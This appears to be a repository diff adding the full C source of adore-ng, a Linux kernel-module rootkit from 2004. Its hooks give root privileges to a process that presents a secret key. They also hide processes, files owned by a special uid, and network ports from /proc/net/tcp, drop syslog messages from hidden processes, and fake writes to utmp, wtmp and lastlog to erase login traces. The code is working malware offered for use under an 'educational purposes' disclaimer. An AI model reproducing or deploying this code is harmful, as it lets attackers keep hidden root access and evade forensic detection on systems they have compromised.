diff options
Diffstat (limited to 'other/adore-ng/adore-ng.c')
| -rw-r--r-- | other/adore-ng/adore-ng.c | 665 |
1 files changed, 665 insertions, 0 deletions
diff --git a/other/adore-ng/adore-ng.c b/other/adore-ng/adore-ng.c new file mode 100644 index 0000000..3194299 --- /dev/null +++ b/other/adore-ng/adore-ng.c | |||
| @@ -0,0 +1,665 @@ | |||
| 1 | /*** (C) 2004 by Stealth | ||
| 2 | *** | ||
| 3 | *** http://spider.scorpions.net/~stealth | ||
| 4 | *** http://stealth.7350.org/rootkits | ||
| 5 | *** | ||
| 6 | *** | ||
| 7 | *** (C)'ed Under a BSDish license. Please look at LICENSE-file. | ||
| 8 | *** SO YOU USE THIS AT YOUR OWN RISK! | ||
| 9 | *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. | ||
| 10 | *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! | ||
| 11 | *** | ||
| 12 | *** -> Use ava to get all the things workin'. | ||
| 13 | *** | ||
| 14 | ***/ | ||
| 15 | #define __KERNEL__ | ||
| 16 | #define MODULE | ||
| 17 | |||
| 18 | |||
| 19 | #ifdef MODVERSIONS | ||
| 20 | #include <linux/modversions.h> | ||
| 21 | #endif | ||
| 22 | |||
| 23 | #include <linux/sched.h> | ||
| 24 | #include <linux/kernel.h> | ||
| 25 | #include <linux/module.h> | ||
| 26 | #include <linux/string.h> | ||
| 27 | #include <linux/fs.h> | ||
| 28 | #include <linux/file.h> | ||
| 29 | #include <linux/mount.h> | ||
| 30 | #include <linux/proc_fs.h> | ||
| 31 | #include <linux/capability.h> | ||
| 32 | #include <linux/net.h> | ||
| 33 | #include <linux/skbuff.h> | ||
| 34 | #include <linux/spinlock.h> | ||
| 35 | #include <net/sock.h> | ||
| 36 | #include <linux/un.h> | ||
| 37 | #include <net/af_unix.h> | ||
| 38 | |||
| 39 | #include "adore-ng.h" | ||
| 40 | |||
| 41 | |||
| 42 | char *proc_fs = "/proc"; /* default proc FS to hide processes */ | ||
| 43 | MODULE_PARM(proc_fs, "s"); | ||
| 44 | char *root_fs = "/"; /* default FS to hide files */ | ||
| 45 | |||
| 46 | MODULE_PARM(root_fs, "s"); | ||
| 47 | char *opt_fs = NULL; | ||
| 48 | MODULE_PARM(opt_fs, "s"); | ||
| 49 | |||
| 50 | |||
| 51 | typedef int (*readdir_t)(struct file *, void *, filldir_t); | ||
| 52 | readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL, | ||
| 53 | orig_proc_readdir = NULL; | ||
| 54 | |||
| 55 | struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *) = NULL; | ||
| 56 | |||
| 57 | |||
| 58 | int cleanup_module(); | ||
| 59 | |||
| 60 | static int tcp_new_size(); | ||
| 61 | static int (*o_get_info_tcp)(char *, char **, off_t, int); | ||
| 62 | |||
| 63 | extern struct socket *sockfd_lookup(int fd, int *err); | ||
| 64 | extern __inline__ void sockfd_put(struct socket *sock) | ||
| 65 | { | ||
| 66 | fput(sock->file); | ||
| 67 | } | ||
| 68 | |||
| 69 | #ifndef PID_MAX | ||
| 70 | #define PID_MAX 0x8000 | ||
| 71 | #endif | ||
| 72 | |||
| 73 | static char hidden_procs[PID_MAX/8+1]; | ||
| 74 | |||
| 75 | inline void hide_proc(pid_t x) | ||
| 76 | { | ||
| 77 | if (x >= PID_MAX || x == 1) | ||
| 78 | return; | ||
| 79 | hidden_procs[x/8] |= 1<<(x%8); | ||
| 80 | } | ||
| 81 | |||
| 82 | inline void unhide_proc(pid_t x) | ||
| 83 | { | ||
| 84 | if (x >= PID_MAX) | ||
| 85 | return; | ||
| 86 | hidden_procs[x/8] &= ~(1<<(x%8)); | ||
| 87 | } | ||
| 88 | |||
| 89 | inline char is_invisible(pid_t x) | ||
| 90 | { | ||
| 91 | if (x >= PID_MAX) | ||
| 92 | return 0; | ||
| 93 | return hidden_procs[x/8]&(1<<(x%8)); | ||
| 94 | } | ||
| 95 | |||
| 96 | /* Theres some crap after the PID-filename on proc | ||
| 97 | * getdents() so the semantics of this function changed: | ||
| 98 | * Make "672" -> 672 and | ||
| 99 | * "672|@\" -> 672 too | ||
| 100 | */ | ||
| 101 | int adore_atoi(const char *str) | ||
| 102 | { | ||
| 103 | int ret = 0, mul = 1; | ||
| 104 | const char *ptr; | ||
| 105 | |||
| 106 | for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) | ||
| 107 | ; | ||
| 108 | ptr--; | ||
| 109 | while (ptr >= str) { | ||
| 110 | if (*ptr < '0' || *ptr > '9') | ||
| 111 | break; | ||
| 112 | ret += (*ptr - '0') * mul; | ||
| 113 | mul *= 10; | ||
| 114 | ptr--; | ||
| 115 | } | ||
| 116 | return ret; | ||
| 117 | } | ||
| 118 | |||
| 119 | /* Own implementation of find_task_by_pid() */ | ||
| 120 | struct task_struct *adore_find_task(pid_t pid) | ||
| 121 | { | ||
| 122 | struct task_struct *p; | ||
| 123 | |||
| 124 | read_lock(&tasklist_lock); // XXX: locking necessary? | ||
| 125 | for_each_task(p) { | ||
| 126 | if (p->pid == pid) { | ||
| 127 | read_unlock(&tasklist_lock); | ||
| 128 | return p; | ||
| 129 | } | ||
| 130 | } | ||
| 131 | read_unlock(&tasklist_lock); | ||
| 132 | return NULL; | ||
| 133 | } | ||
| 134 | |||
| 135 | int should_be_hidden(pid_t pid) | ||
| 136 | { | ||
| 137 | struct task_struct *p = NULL; | ||
| 138 | |||
| 139 | if (is_invisible(pid)) { | ||
| 140 | return 1; | ||
| 141 | } | ||
| 142 | |||
| 143 | p = adore_find_task(pid); | ||
| 144 | if (!p) | ||
| 145 | return 0; | ||
| 146 | |||
| 147 | /* If the parent is hidden, we are hidden too XXX */ | ||
| 148 | task_lock(p); | ||
| 149 | |||
| 150 | if (is_invisible(p->p_pptr->pid)) { | ||
| 151 | task_unlock(p); | ||
| 152 | hide_proc(pid); | ||
| 153 | return 1; | ||
| 154 | } | ||
| 155 | |||
| 156 | task_unlock(p); | ||
| 157 | return 0; | ||
| 158 | } | ||
| 159 | |||
| 160 | /* You can control adore-ng without ava too: | ||
| 161 | * | ||
| 162 | * echo > /proc/<ADORE_KEY> will make the shell authenticated, | ||
| 163 | * cat /proc/hide-<PID> from such a shell will hide PID, | ||
| 164 | * cat /proc/unhide-<PID> will unhide the process | ||
| 165 | * cat /proc/uninstall will uninstall adore | ||
| 166 | */ | ||
| 167 | struct dentry *adore_lookup(struct inode *i, struct dentry *d) | ||
| 168 | { | ||
| 169 | |||
| 170 | task_lock(current); | ||
| 171 | |||
| 172 | if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { | ||
| 173 | current->flags |= PF_AUTH; | ||
| 174 | current->suid = ADORE_VERSION; | ||
| 175 | } else if ((current->flags & PF_AUTH) && | ||
| 176 | strncmp(d->d_iname, "fullprivs", 9) == 0) { | ||
| 177 | current->uid = 0; | ||
| 178 | current->suid = 0; | ||
| 179 | current->euid = 0; | ||
| 180 | current->gid = 0; | ||
| 181 | current->egid = 0; | ||
| 182 | current->fsuid = 0; | ||
| 183 | current->fsgid = 0; | ||
| 184 | |||
| 185 | cap_set_full(current->cap_effective); | ||
| 186 | cap_set_full(current->cap_inheritable); | ||
| 187 | cap_set_full(current->cap_permitted); | ||
| 188 | } else if ((current->flags & PF_AUTH) && | ||
| 189 | strncmp(d->d_iname, "hide-", 5) == 0) { | ||
| 190 | hide_proc(adore_atoi(d->d_iname+5)); | ||
| 191 | } else if ((current->flags & PF_AUTH) && | ||
| 192 | strncmp(d->d_iname, "unhide-", 7) == 0) { | ||
| 193 | unhide_proc(adore_atoi(d->d_iname+7)); | ||
| 194 | } else if ((current->flags & PF_AUTH) && | ||
| 195 | strncmp(d->d_iname, "uninstall", 9) == 0) { | ||
| 196 | cleanup_module(); | ||
| 197 | } | ||
| 198 | |||
| 199 | task_unlock(current); | ||
| 200 | |||
| 201 | if (should_be_hidden(adore_atoi(d->d_iname)) && | ||
| 202 | /* A hidden ps must be able to see itself! */ | ||
| 203 | !should_be_hidden(current->pid)) | ||
| 204 | return NULL; | ||
| 205 | |||
| 206 | return orig_proc_lookup(i, d); | ||
| 207 | } | ||
| 208 | |||
| 209 | |||
| 210 | filldir_t proc_filldir = NULL; | ||
| 211 | spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED; | ||
| 212 | |||
| 213 | int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 214 | { | ||
| 215 | if (should_be_hidden(adore_atoi(name))) | ||
| 216 | return 0; | ||
| 217 | return proc_filldir(buf, name, nlen, off, ino, x); | ||
| 218 | } | ||
| 219 | |||
| 220 | |||
| 221 | |||
| 222 | int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 223 | { | ||
| 224 | int r = 0; | ||
| 225 | |||
| 226 | spin_lock(&proc_filldir_lock); | ||
| 227 | proc_filldir = filldir; | ||
| 228 | r = orig_proc_readdir(fp, buf, adore_proc_filldir); | ||
| 229 | spin_unlock(&proc_filldir_lock); | ||
| 230 | return r; | ||
| 231 | } | ||
| 232 | |||
| 233 | |||
| 234 | filldir_t opt_filldir = NULL; | ||
| 235 | struct super_block *opt_sb[1024]; | ||
| 236 | |||
| 237 | int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 238 | { | ||
| 239 | struct inode *inode = NULL; | ||
| 240 | int r = 0; | ||
| 241 | uid_t uid; | ||
| 242 | gid_t gid; | ||
| 243 | |||
| 244 | if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL) | ||
| 245 | return 0; | ||
| 246 | uid = inode->i_uid; | ||
| 247 | gid = inode->i_gid; | ||
| 248 | iput(inode); | ||
| 249 | |||
| 250 | /* Is it hidden ? */ | ||
| 251 | if (uid == ELITE_UID && gid == ELITE_GID) { | ||
| 252 | r = 0; | ||
| 253 | } else | ||
| 254 | r = opt_filldir(buf, name, nlen, off, ino, x); | ||
| 255 | |||
| 256 | return r; | ||
| 257 | } | ||
| 258 | |||
| 259 | |||
| 260 | int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 261 | { | ||
| 262 | int r = 0; | ||
| 263 | |||
| 264 | if (!fp || !fp->f_vfsmnt) | ||
| 265 | return 0; | ||
| 266 | |||
| 267 | opt_filldir = filldir; | ||
| 268 | opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; | ||
| 269 | r = orig_opt_readdir(fp, buf, adore_opt_filldir); | ||
| 270 | |||
| 271 | return r; | ||
| 272 | } | ||
| 273 | |||
| 274 | |||
| 275 | /* About the locking of these global vars: | ||
| 276 | * I used to lock these via rwlocks but on SMP systems this can cause | ||
| 277 | * a deadlock because the iget() locks an inode itself and I guess this | ||
| 278 | * could cause a locking situation of AB BA. So, I do not lock root_sb and | ||
| 279 | * root_filldir (same with opt_) anymore. root_filldir should anyway always | ||
| 280 | * be the same (filldir64 or filldir, depending on the libc). The worst thing that | ||
| 281 | * could happen is that 2 processes call filldir where the 2nd is replacing | ||
| 282 | * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. | ||
| 283 | * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() | ||
| 284 | * on 2 different partitions with the same FS. | ||
| 285 | * Now, since I made an array of super_blocks it must also be that the PIDs of | ||
| 286 | * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must | ||
| 287 | * be met) should be very very rare. | ||
| 288 | */ | ||
| 289 | filldir_t root_filldir = NULL; | ||
| 290 | struct super_block *root_sb[1024]; | ||
| 291 | |||
| 292 | |||
| 293 | int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) | ||
| 294 | { | ||
| 295 | struct inode *inode = NULL; | ||
| 296 | int r = 0; | ||
| 297 | uid_t uid; | ||
| 298 | gid_t gid; | ||
| 299 | |||
| 300 | if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL) | ||
| 301 | return 0; | ||
| 302 | uid = inode->i_uid; | ||
| 303 | gid = inode->i_gid; | ||
| 304 | iput(inode); | ||
| 305 | |||
| 306 | /* Is it hidden ? */ | ||
| 307 | if (uid == ELITE_UID && gid == ELITE_GID) { | ||
| 308 | r = 0; | ||
| 309 | } else | ||
| 310 | r = root_filldir(buf, name, nlen, off, ino, x); | ||
| 311 | |||
| 312 | return r; | ||
| 313 | } | ||
| 314 | |||
| 315 | |||
| 316 | int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) | ||
| 317 | { | ||
| 318 | int r = 0; | ||
| 319 | |||
| 320 | if (!fp || !fp->f_vfsmnt) | ||
| 321 | return 0; | ||
| 322 | |||
| 323 | root_filldir = filldir; | ||
| 324 | root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; | ||
| 325 | r = orig_root_readdir(fp, buf, adore_root_filldir); | ||
| 326 | return r; | ||
| 327 | } | ||
| 328 | |||
| 329 | |||
| 330 | int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) | ||
| 331 | { | ||
| 332 | struct file *filep; | ||
| 333 | |||
| 334 | if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { | ||
| 335 | return -1; | ||
| 336 | } | ||
| 337 | |||
| 338 | if (orig_readdir) | ||
| 339 | *orig_readdir = filep->f_op->readdir; | ||
| 340 | |||
| 341 | filep->f_op->readdir = new_readdir; | ||
| 342 | filp_close(filep, 0); | ||
| 343 | return 0; | ||
| 344 | } | ||
| 345 | |||
| 346 | |||
| 347 | int unpatch_vfs(const char *p, readdir_t orig_readdir) | ||
| 348 | { | ||
| 349 | struct file *filep; | ||
| 350 | |||
| 351 | if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { | ||
| 352 | return -1; | ||
| 353 | } | ||
| 354 | |||
| 355 | filep->f_op->readdir = orig_readdir; | ||
| 356 | filp_close(filep, 0); | ||
| 357 | return 0; | ||
| 358 | } | ||
| 359 | |||
| 360 | |||
| 361 | char *strnstr(const char *haystack, const char *needle, size_t n) | ||
| 362 | { | ||
| 363 | char *s = strstr(haystack, needle); | ||
| 364 | if (s == NULL) | ||
| 365 | return NULL; | ||
| 366 | if (s-haystack+strlen(needle) <= n) | ||
| 367 | return s; | ||
| 368 | else | ||
| 369 | return NULL; | ||
| 370 | } | ||
| 371 | |||
| 372 | |||
| 373 | struct proc_dir_entry *proc_find_tcp() | ||
| 374 | { | ||
| 375 | struct proc_dir_entry *p = proc_net->subdir; | ||
| 376 | |||
| 377 | while (strcmp(p->name, "tcp")) | ||
| 378 | p = p->next; | ||
| 379 | return p; | ||
| 380 | } | ||
| 381 | |||
| 382 | |||
| 383 | /* Reading from /proc/net/tcp gives back data in chunks | ||
| 384 | * of NET_CHUNK. We try to match these against hidden ports | ||
| 385 | * and remove them respectively | ||
| 386 | */ | ||
| 387 | #define NET_CHUNK 150 | ||
| 388 | int n_get_info_tcp(char *page, char **start, off_t pos, int count) | ||
| 389 | { | ||
| 390 | int r = 0, i = 0, n = 0, hidden = 0; | ||
| 391 | char port[10], *ptr = NULL, *mem = NULL, *it = NULL; | ||
| 392 | |||
| 393 | /* Admin accessing beyond sizeof patched file? */ | ||
| 394 | if (pos >= tcp_new_size()) | ||
| 395 | return 0; | ||
| 396 | |||
| 397 | r = o_get_info_tcp(page, start, pos, count); | ||
| 398 | |||
| 399 | if (r <= 0)// NET_CHUNK) | ||
| 400 | return r; | ||
| 401 | |||
| 402 | mem = (char *)kmalloc(r+NET_CHUNK+1, GFP_KERNEL); | ||
| 403 | if (!mem) | ||
| 404 | return r; | ||
| 405 | |||
| 406 | memset(mem, 0, r+NET_CHUNK+1); | ||
| 407 | it = mem; | ||
| 408 | |||
| 409 | /* If pos < NET_CHUNK then theres preamble which we can skip */ | ||
| 410 | if (pos >= NET_CHUNK) { | ||
| 411 | ptr = page; | ||
| 412 | n = (pos/NET_CHUNK) - 1; | ||
| 413 | } else { | ||
| 414 | memcpy(it, page, NET_CHUNK); | ||
| 415 | it += NET_CHUNK; | ||
| 416 | ptr = page + NET_CHUNK; | ||
| 417 | n = 0; | ||
| 418 | } | ||
| 419 | |||
| 420 | for (; ptr < page+r; ptr += NET_CHUNK) { | ||
| 421 | hidden = 0; | ||
| 422 | for (i = 0; HIDDEN_SERVICES[i]; ++i) { | ||
| 423 | sprintf(port, ":%04X", HIDDEN_SERVICES[i]); | ||
| 424 | |||
| 425 | /* Ignore hidden blocks */ | ||
| 426 | if (strnstr(ptr, port, NET_CHUNK)) | ||
| 427 | hidden = 1; | ||
| 428 | } | ||
| 429 | if (!hidden) { | ||
| 430 | sprintf(port, "%4d:", n); | ||
| 431 | strncpy(ptr, port, strlen(port)); | ||
| 432 | memcpy(it, ptr, NET_CHUNK); | ||
| 433 | it += NET_CHUNK; | ||
| 434 | ++n; | ||
| 435 | } | ||
| 436 | } | ||
| 437 | |||
| 438 | memcpy(page, mem, r); | ||
| 439 | n = strlen(mem); | ||
| 440 | /* If we shrinked buffer, patch length */ | ||
| 441 | if (r > n) | ||
| 442 | r = n;//-(*start-page); | ||
| 443 | if (r < 0) | ||
| 444 | r = 0; | ||
| 445 | |||
| 446 | // *start = page + (*start-page); | ||
| 447 | *start = page; | ||
| 448 | kfree(mem); | ||
| 449 | return r; | ||
| 450 | } | ||
| 451 | |||
| 452 | |||
| 453 | /* Calculate size of patched /proc/net/tcp */ | ||
| 454 | int tcp_new_size() | ||
| 455 | { | ||
| 456 | int r, hits = 0, i = 0, l = 10*NET_CHUNK; | ||
| 457 | char *page = NULL, *start, *ptr, port[10]; | ||
| 458 | |||
| 459 | for (;;) { | ||
| 460 | page = (char*)kmalloc(l+1, GFP_KERNEL); | ||
| 461 | if (!page) | ||
| 462 | return 0; | ||
| 463 | r = o_get_info_tcp(page, &start, 0, l); | ||
| 464 | if (r < l) | ||
| 465 | break; | ||
| 466 | l <<= 1; | ||
| 467 | kfree(page); | ||
| 468 | } | ||
| 469 | |||
| 470 | for (ptr = start; ptr < start+r; ptr += NET_CHUNK) { | ||
| 471 | for (i = 0; HIDDEN_SERVICES[i]; ++i) { | ||
| 472 | sprintf(port, ":%04X", HIDDEN_SERVICES[i]); | ||
| 473 | if (strnstr(ptr, port, NET_CHUNK)) { | ||
| 474 | ++hits; | ||
| 475 | break; | ||
| 476 | } | ||
| 477 | } | ||
| 478 | } | ||
| 479 | kfree(page); | ||
| 480 | return r - hits*NET_CHUNK; | ||
| 481 | } | ||
| 482 | |||
| 483 | |||
| 484 | static | ||
| 485 | int (*orig_unix_dgram_recvmsg)(struct socket *, struct msghdr *, int, | ||
| 486 | int, struct scm_cookie *) = NULL; | ||
| 487 | static struct proto_ops *unix_dgram_ops = NULL; | ||
| 488 | |||
| 489 | int adore_unix_dgram_recvmsg(struct socket *sock, struct msghdr *msg, int size, | ||
| 490 | int flags, struct scm_cookie *scm) | ||
| 491 | { | ||
| 492 | struct sock *sk = NULL; | ||
| 493 | int noblock = flags & MSG_DONTWAIT; | ||
| 494 | struct sk_buff *skb = NULL; | ||
| 495 | int err; | ||
| 496 | struct ucred *creds = NULL; | ||
| 497 | int not_done = 1; | ||
| 498 | |||
| 499 | if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock) | ||
| 500 | goto out; | ||
| 501 | |||
| 502 | sk = sock->sk; | ||
| 503 | |||
| 504 | err = -EOPNOTSUPP; | ||
| 505 | if (flags & MSG_OOB) | ||
| 506 | goto out; | ||
| 507 | |||
| 508 | do { | ||
| 509 | msg->msg_namelen = 0; | ||
| 510 | skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); | ||
| 511 | if (!skb) | ||
| 512 | goto out; | ||
| 513 | creds = UNIXCREDS(skb); | ||
| 514 | if (!creds) | ||
| 515 | goto out; | ||
| 516 | if ((not_done = should_be_hidden(creds->pid))) | ||
| 517 | skb_dequeue(&sk->receive_queue); | ||
| 518 | } while (not_done); | ||
| 519 | |||
| 520 | out: | ||
| 521 | err = orig_unix_dgram_recvmsg(sock, msg, size, flags, scm); | ||
| 522 | return err; | ||
| 523 | } | ||
| 524 | |||
| 525 | |||
| 526 | static struct file *var_files[] = { | ||
| 527 | NULL, | ||
| 528 | NULL, | ||
| 529 | NULL, | ||
| 530 | NULL | ||
| 531 | }; | ||
| 532 | |||
| 533 | static char *var_filenames[] = { | ||
| 534 | "/var/run/utmp", | ||
| 535 | "/var/log/wtmp", | ||
| 536 | "/var/log/lastlog", | ||
| 537 | NULL | ||
| 538 | }; | ||
| 539 | |||
| 540 | static | ||
| 541 | ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; | ||
| 542 | |||
| 543 | static | ||
| 544 | ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) | ||
| 545 | { | ||
| 546 | int i = 0; | ||
| 547 | |||
| 548 | /* If its hidden and if it has no special privileges and | ||
| 549 | * if it tries to write to the /var files, fake it | ||
| 550 | */ | ||
| 551 | if (should_be_hidden(current->pid) && | ||
| 552 | !(current->flags & PF_AUTH)) { | ||
| 553 | for (i = 0; var_filenames[i]; ++i) { | ||
| 554 | if (var_files[i] && | ||
| 555 | var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { | ||
| 556 | *off += blen; | ||
| 557 | return blen; | ||
| 558 | } | ||
| 559 | } | ||
| 560 | } | ||
| 561 | return orig_var_write(f, buf, blen, off); | ||
| 562 | } | ||
| 563 | |||
| 564 | |||
| 565 | static int patch_syslog() | ||
| 566 | { | ||
| 567 | struct socket *sock = NULL; | ||
| 568 | |||
| 569 | /* PF_UNIX, SOCK_DGRAM */ | ||
| 570 | if (sock_create(1, 2, 0, &sock) < 0) | ||
| 571 | return -1; | ||
| 572 | |||
| 573 | if (sock && (unix_dgram_ops = sock->ops)) { | ||
| 574 | orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; | ||
| 575 | unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; | ||
| 576 | sock_release(sock); | ||
| 577 | } | ||
| 578 | |||
| 579 | return 0; | ||
| 580 | } | ||
| 581 | |||
| 582 | |||
| 583 | #ifdef RELINKED | ||
| 584 | extern int zero_module(); | ||
| 585 | extern int zeronup_module(); | ||
| 586 | #endif | ||
| 587 | |||
| 588 | int init_module() | ||
| 589 | { | ||
| 590 | struct proc_dir_entry *pde = NULL; | ||
| 591 | int i = 0, j = 0; | ||
| 592 | |||
| 593 | EXPORT_NO_SYMBOLS; | ||
| 594 | |||
| 595 | memset(hidden_procs, 0, sizeof(hidden_procs)); | ||
| 596 | |||
| 597 | pde = proc_find_tcp(); | ||
| 598 | o_get_info_tcp = pde->get_info; | ||
| 599 | pde->get_info = n_get_info_tcp; | ||
| 600 | |||
| 601 | orig_proc_lookup = proc_root.proc_iops->lookup; | ||
| 602 | proc_root.proc_iops->lookup = adore_lookup; | ||
| 603 | |||
| 604 | patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); | ||
| 605 | patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); | ||
| 606 | if (opt_fs) | ||
| 607 | patch_vfs(opt_fs, &orig_opt_readdir, | ||
| 608 | adore_opt_readdir); | ||
| 609 | |||
| 610 | patch_syslog(); | ||
| 611 | |||
| 612 | j = 0; | ||
| 613 | for (i = 0; var_filenames[i]; ++i) { | ||
| 614 | var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); | ||
| 615 | if (IS_ERR(var_files[i])) { | ||
| 616 | var_files[i] = NULL; | ||
| 617 | continue; | ||
| 618 | } | ||
| 619 | if (!j) { /* just replace one time, its all the same FS */ | ||
| 620 | orig_var_write = var_files[i]->f_op->write; | ||
| 621 | var_files[i]->f_op->write = adore_var_write; | ||
| 622 | j = 1; | ||
| 623 | } | ||
| 624 | } | ||
| 625 | #ifdef RELINKED | ||
| 626 | MOD_INC_USE_COUNT; | ||
| 627 | zero_module(); | ||
| 628 | #endif | ||
| 629 | return 0; | ||
| 630 | } | ||
| 631 | |||
| 632 | |||
| 633 | int cleanup_module() | ||
| 634 | { | ||
| 635 | int i = 0, j = 0; | ||
| 636 | |||
| 637 | proc_find_tcp()->get_info = o_get_info_tcp; | ||
| 638 | proc_root.proc_iops->lookup = orig_proc_lookup; | ||
| 639 | |||
| 640 | unpatch_vfs(proc_fs, orig_proc_readdir); | ||
| 641 | unpatch_vfs(root_fs, orig_root_readdir); | ||
| 642 | |||
| 643 | if (orig_opt_readdir) | ||
| 644 | unpatch_vfs(opt_fs, orig_opt_readdir); | ||
| 645 | |||
| 646 | /* In case where syslogd wasnt found in init_module() */ | ||
| 647 | if (unix_dgram_ops && orig_unix_dgram_recvmsg) | ||
| 648 | unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg; | ||
| 649 | |||
| 650 | j = 0; | ||
| 651 | for (i = 0; var_filenames[i]; ++i) { | ||
| 652 | if (var_files[i]) { | ||
| 653 | if (!j) { | ||
| 654 | var_files[i]->f_op->write = orig_var_write; | ||
| 655 | j = 1; | ||
| 656 | } | ||
| 657 | filp_close(var_files[i], 0); | ||
| 658 | } | ||
| 659 | } | ||
| 660 | |||
| 661 | return 0; | ||
| 662 | } | ||
| 663 | |||
| 664 | MODULE_LICENSE("GPL"); | ||
| 665 | |||
